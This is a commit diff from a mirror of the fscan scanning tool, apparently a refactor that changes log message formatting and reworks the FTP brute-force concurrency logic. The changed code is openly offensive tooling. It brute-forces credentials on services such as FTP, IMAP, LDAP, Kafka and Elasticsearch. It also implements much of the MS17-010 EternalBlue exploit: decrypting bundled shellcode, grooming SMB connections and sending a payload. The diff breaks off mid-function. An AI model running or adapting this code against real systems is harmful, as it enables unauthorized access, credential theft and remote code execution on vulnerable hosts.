mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-23 03:31:53 +08:00
refactor: 输出格式重构,重构SMB、SMB2、FTP的一些验证逻辑
This commit is contained in:
+1
-1
@@ -100,7 +100,7 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
||||
+6
-6
@@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) {
|
||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
|
||||
return "", fmt.Errorf("创建加密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取块大小并填充数据
|
||||
@@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// base64解码
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] base64解码失败: %v", err)
|
||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
@@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// 创建解密块
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
|
||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建CBC解密模式
|
||||
@@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// 去除填充
|
||||
origData, err = PKCS7UnPadding(origData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
|
||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
||||
}
|
||||
|
||||
return string(origData), nil
|
||||
@@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte {
|
||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("[-] 数据长度为0")
|
||||
return nil, errors.New("数据长度为0")
|
||||
}
|
||||
|
||||
padding := int(data[length-1])
|
||||
if padding > length {
|
||||
return nil, errors.New("[-] 填充长度无效")
|
||||
return nil, errors.New("填充长度无效")
|
||||
}
|
||||
|
||||
return data[:length-padding], nil
|
||||
|
||||
@@ -98,7 +98,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -172,7 +172,7 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error
|
||||
}
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Cassandra服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
||||
@@ -101,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -178,7 +178,7 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error)
|
||||
|
||||
// 检查响应状态
|
||||
if resp.StatusCode == 200 {
|
||||
result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Elasticsearch服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
||||
+61
-46
@@ -1,6 +1,7 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
@@ -17,8 +18,10 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
threads := Common.BruteThreads
|
||||
successChan := make(chan struct{}, 1)
|
||||
defer close(successChan)
|
||||
|
||||
// 创建带取消功能的context
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
// 先尝试匿名登录
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
@@ -26,7 +29,7 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
if flag && err == nil {
|
||||
return nil
|
||||
}
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if err != nil && !strings.Contains(err.Error(), "Login incorrect") {
|
||||
@@ -40,36 +43,41 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
// 创建任务通道
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
pass string
|
||||
}, len(Common.Userdict["ftp"])*len(Common.Passwords))
|
||||
|
||||
// 任务分发goroutine
|
||||
go func() {
|
||||
defer close(taskChan)
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan error, threads)
|
||||
|
||||
// 生成所有用户名密码组合任务
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for task := range taskChan {
|
||||
// 检查是否已经成功
|
||||
select {
|
||||
case <-successChan:
|
||||
case <-ctx.Done():
|
||||
resultChan <- nil
|
||||
return
|
||||
default:
|
||||
@@ -77,88 +85,95 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 执行FTP连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := FtpConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
}
|
||||
}(task.user, task.pass)
|
||||
|
||||
// 等待结果或超时
|
||||
var err error
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
connCancel()
|
||||
resultChan <- nil
|
||||
return
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
select {
|
||||
case successChan <- struct{}{}:
|
||||
successLog := fmt.Sprintf("[+] FTP %v:%v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
default:
|
||||
}
|
||||
successLog := fmt.Sprintf("FTP %v:%v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
cancel() // 取消所有操作
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
case <-connCtx.Done():
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 处理错误情况
|
||||
connCancel()
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v",
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
resultChan <- nil
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
// 对于登录失败的错误,直接继续下一个
|
||||
if strings.Contains(err.Error(), "Login incorrect") {
|
||||
break
|
||||
}
|
||||
|
||||
// 特别处理连接数过多的情况
|
||||
if strings.Contains(err.Error(), "too many connections") {
|
||||
time.Sleep(5 * time.Second)
|
||||
if retryCount < maxRetries-1 {
|
||||
continue // 继续重试
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue // 继续下一个密码,而不是返回
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
continue
|
||||
}
|
||||
}
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
break
|
||||
}
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
}
|
||||
|
||||
// 等待所有线程完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 检查结果
|
||||
for err := range resultChan {
|
||||
if err != nil {
|
||||
tmperr = err
|
||||
// 对于超时错误也继续执行
|
||||
if !strings.Contains(err.Error(), "扫描超时") {
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
continue // 继续尝试,而不是返回
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -189,7 +204,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
}
|
||||
|
||||
// 登录成功,获取目录信息
|
||||
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
if err == nil && len(dirs) > 0 {
|
||||
// 最多显示前6个目录
|
||||
|
||||
+9
-9
@@ -27,30 +27,30 @@ func FindnetScan(info *Common.HostInfo) error {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
|
||||
return fmt.Errorf("连接RPC端口失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("[-] 设置超时失败: %v", err)
|
||||
return fmt.Errorf("设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV1); err != nil {
|
||||
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
|
||||
return fmt.Errorf("发送RPC请求1失败: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 4096)
|
||||
if _, err = conn.Read(reply); err != nil {
|
||||
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
|
||||
return fmt.Errorf("读取RPC响应1失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV2); err != nil {
|
||||
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
|
||||
return fmt.Errorf("发送RPC请求2失败: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
|
||||
return fmt.Errorf("读取RPC响应2失败: %v", err)
|
||||
}
|
||||
|
||||
text := reply[42:]
|
||||
@@ -64,7 +64,7 @@ func FindnetScan(info *Common.HostInfo) error {
|
||||
}
|
||||
|
||||
if !found {
|
||||
return fmt.Errorf("[-] 未找到有效的响应标记")
|
||||
return fmt.Errorf("未找到有效的响应标记")
|
||||
}
|
||||
|
||||
return read(text, info.Host)
|
||||
@@ -195,7 +195,7 @@ func read(text []byte, host string) error {
|
||||
|
||||
// 输出IPv4地址
|
||||
if len(ipv4Addrs) > 0 {
|
||||
result += "\n [+] IPv4地址:"
|
||||
result += "\n IPv4地址:"
|
||||
for _, addr := range ipv4Addrs {
|
||||
result += fmt.Sprintf("\n └─ %s", addr)
|
||||
}
|
||||
@@ -203,7 +203,7 @@ func read(text []byte, host string) error {
|
||||
|
||||
// 输出IPv6地址
|
||||
if len(ipv6Addrs) > 0 {
|
||||
result += "\n [+] IPv6地址:"
|
||||
result += "\n IPv6地址:"
|
||||
for _, addr := range ipv6Addrs {
|
||||
result += fmt.Sprintf("\n └─ %s", addr)
|
||||
}
|
||||
|
||||
+2
-2
@@ -84,7 +84,7 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -175,7 +175,7 @@ func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass stri
|
||||
}
|
||||
|
||||
if strings.Contains(response, "a001 OK") {
|
||||
result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||
result := fmt.Sprintf("IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||
host, port, user, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
|
||||
+3
-3
@@ -99,7 +99,7 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -164,7 +164,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
consumer, err := sarama.NewConsumer(brokers, config)
|
||||
if err == nil {
|
||||
defer consumer.Close()
|
||||
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
@@ -178,7 +178,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
client, err := sarama.NewClient(brokers, config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
||||
+2
-2
@@ -90,7 +90,7 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -177,7 +177,7 @@ func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 记录成功结果
|
||||
result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("LDAP服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
||||
+63
-63
@@ -26,7 +26,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
var err error
|
||||
sc, err = AesDecrypt(sc_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
@@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
var err error
|
||||
sc, err = AesDecrypt(sc_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
@@ -50,7 +50,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
var err error
|
||||
sc, err = AesDecrypt(sc_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
@@ -59,7 +59,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
if strings.Contains(Common.Shellcode, "file:") {
|
||||
read, err := ioutil.ReadFile(Common.Shellcode[5:])
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
|
||||
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
|
||||
return
|
||||
}
|
||||
sc = fmt.Sprintf("%x", read)
|
||||
@@ -70,25 +70,25 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
|
||||
// 验证shellcode有效性
|
||||
if len(sc) < 20 {
|
||||
fmt.Println("[-] 无效的Shellcode")
|
||||
fmt.Println("无效的Shellcode")
|
||||
return
|
||||
}
|
||||
|
||||
// 解码shellcode
|
||||
sc1, err := hex.DecodeString(sc)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
// 执行EternalBlue漏洞利用
|
||||
err = eternalBlue(address, 12, 12, sc1)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host))
|
||||
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
|
||||
}
|
||||
|
||||
// eternalBlue 执行EternalBlue漏洞利用
|
||||
@@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro
|
||||
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
|
||||
scLen := len(sc)
|
||||
if scLen > maxscSize {
|
||||
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)",
|
||||
return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)",
|
||||
scLen, maxscSize, scLen-maxscSize)
|
||||
}
|
||||
|
||||
@@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error {
|
||||
// 建立SMB1匿名IPC连接
|
||||
header, conn, err := smb1AnonymousConnectIPC(address)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 建立SMB连接失败: %v", err)
|
||||
return fmt.Errorf("建立SMB连接失败: %v", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 发送SMB1大缓冲区数据
|
||||
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
||||
return fmt.Errorf("设置读取超时失败: %v", err)
|
||||
}
|
||||
if err = smb1LargeBuffer(conn, header); err != nil {
|
||||
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err)
|
||||
return fmt.Errorf("发送大缓冲区失败: %v", err)
|
||||
}
|
||||
|
||||
// 初始化内存喷射线程
|
||||
fhsConn, err := smb1FreeHole(address, true)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err)
|
||||
return fmt.Errorf("初始化内存喷射失败: %v", err)
|
||||
}
|
||||
defer func() { _ = fhsConn.Close() }()
|
||||
|
||||
// 第一轮内存喷射
|
||||
groomConns, err := smb2Grooms(address, grooms)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err)
|
||||
return fmt.Errorf("第一轮内存喷射失败: %v", err)
|
||||
}
|
||||
|
||||
// 释放内存并执行第二轮喷射
|
||||
fhfConn, err := smb1FreeHole(address, false)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 释放内存失败: %v", err)
|
||||
return fmt.Errorf("释放内存失败: %v", err)
|
||||
}
|
||||
_ = fhsConn.Close()
|
||||
|
||||
// 执行第二轮内存喷射
|
||||
groomConns2, err := smb2Grooms(address, 6)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err)
|
||||
return fmt.Errorf("第二轮内存喷射失败: %v", err)
|
||||
}
|
||||
_ = fhfConn.Close()
|
||||
|
||||
@@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error {
|
||||
|
||||
// 发送最终漏洞利用数据包
|
||||
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
||||
return fmt.Errorf("设置读取超时失败: %v", err)
|
||||
}
|
||||
|
||||
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
|
||||
if _, err = conn.Write(finalPacket); err != nil {
|
||||
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err)
|
||||
return fmt.Errorf("发送漏洞利用数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应并检查状态
|
||||
raw, _, err := smb1GetResponse(conn)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err)
|
||||
return fmt.Errorf("获取漏洞利用响应失败: %v", err)
|
||||
}
|
||||
|
||||
// 提取NT状态码
|
||||
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
|
||||
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus))
|
||||
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
|
||||
|
||||
// 发送payload
|
||||
Common.LogSuccess("[*] 开始发送Payload")
|
||||
Common.LogSuccess("开始发送Payload")
|
||||
body := makeSMB2Body(payload)
|
||||
|
||||
// 分段发送payload
|
||||
for _, conn := range groomConns {
|
||||
if _, err = conn.Write(body[:2920]); err != nil {
|
||||
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err)
|
||||
return fmt.Errorf("发送Payload第一段失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
for _, conn := range groomConns {
|
||||
if _, err = conn.Write(body[2920:4073]); err != nil {
|
||||
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err)
|
||||
return fmt.Errorf("发送Payload第二段失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess("[+] Payload发送完成")
|
||||
Common.LogSuccess("Payload发送完成")
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
||||
// 建立TCP连接
|
||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("连接目标失败: %v", err)
|
||||
}
|
||||
|
||||
// 连接状态标记
|
||||
@@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
||||
|
||||
// SMB协议协商
|
||||
if err = smbClientNegotiate(conn); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err)
|
||||
}
|
||||
|
||||
// 匿名登录
|
||||
raw, header, err := smb1AnonymousLogin(conn)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("匿名登录失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取系统版本信息
|
||||
if _, err = getOSName(raw); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("获取系统信息失败: %v", err)
|
||||
}
|
||||
|
||||
// 连接IPC共享
|
||||
header, err = treeConnectAndX(conn, address, header.UserID)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err)
|
||||
}
|
||||
|
||||
ok = true
|
||||
@@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
|
||||
// 读取NetBIOS会话服务头
|
||||
buf := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err)
|
||||
}
|
||||
|
||||
// 校验消息类型
|
||||
messageType := buf[0]
|
||||
if messageType != 0x00 {
|
||||
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType)
|
||||
return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType)
|
||||
}
|
||||
|
||||
// 解析消息体大小
|
||||
@@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
|
||||
// 读取SMB消息体
|
||||
buf = make([]byte, messageSize)
|
||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err)
|
||||
}
|
||||
|
||||
// 解析SMB头部
|
||||
header := smbHeader{}
|
||||
reader := bytes.NewReader(buf[:smbHeaderSize])
|
||||
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err)
|
||||
}
|
||||
|
||||
return buf, &header, nil
|
||||
@@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error {
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSHeader(&buf); err != nil {
|
||||
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBHeader(&buf); err != nil {
|
||||
return fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造协议协商请求
|
||||
if err := writeNegotiateRequest(&buf); err != nil {
|
||||
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err)
|
||||
return fmt.Errorf("构造协议协商请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err)
|
||||
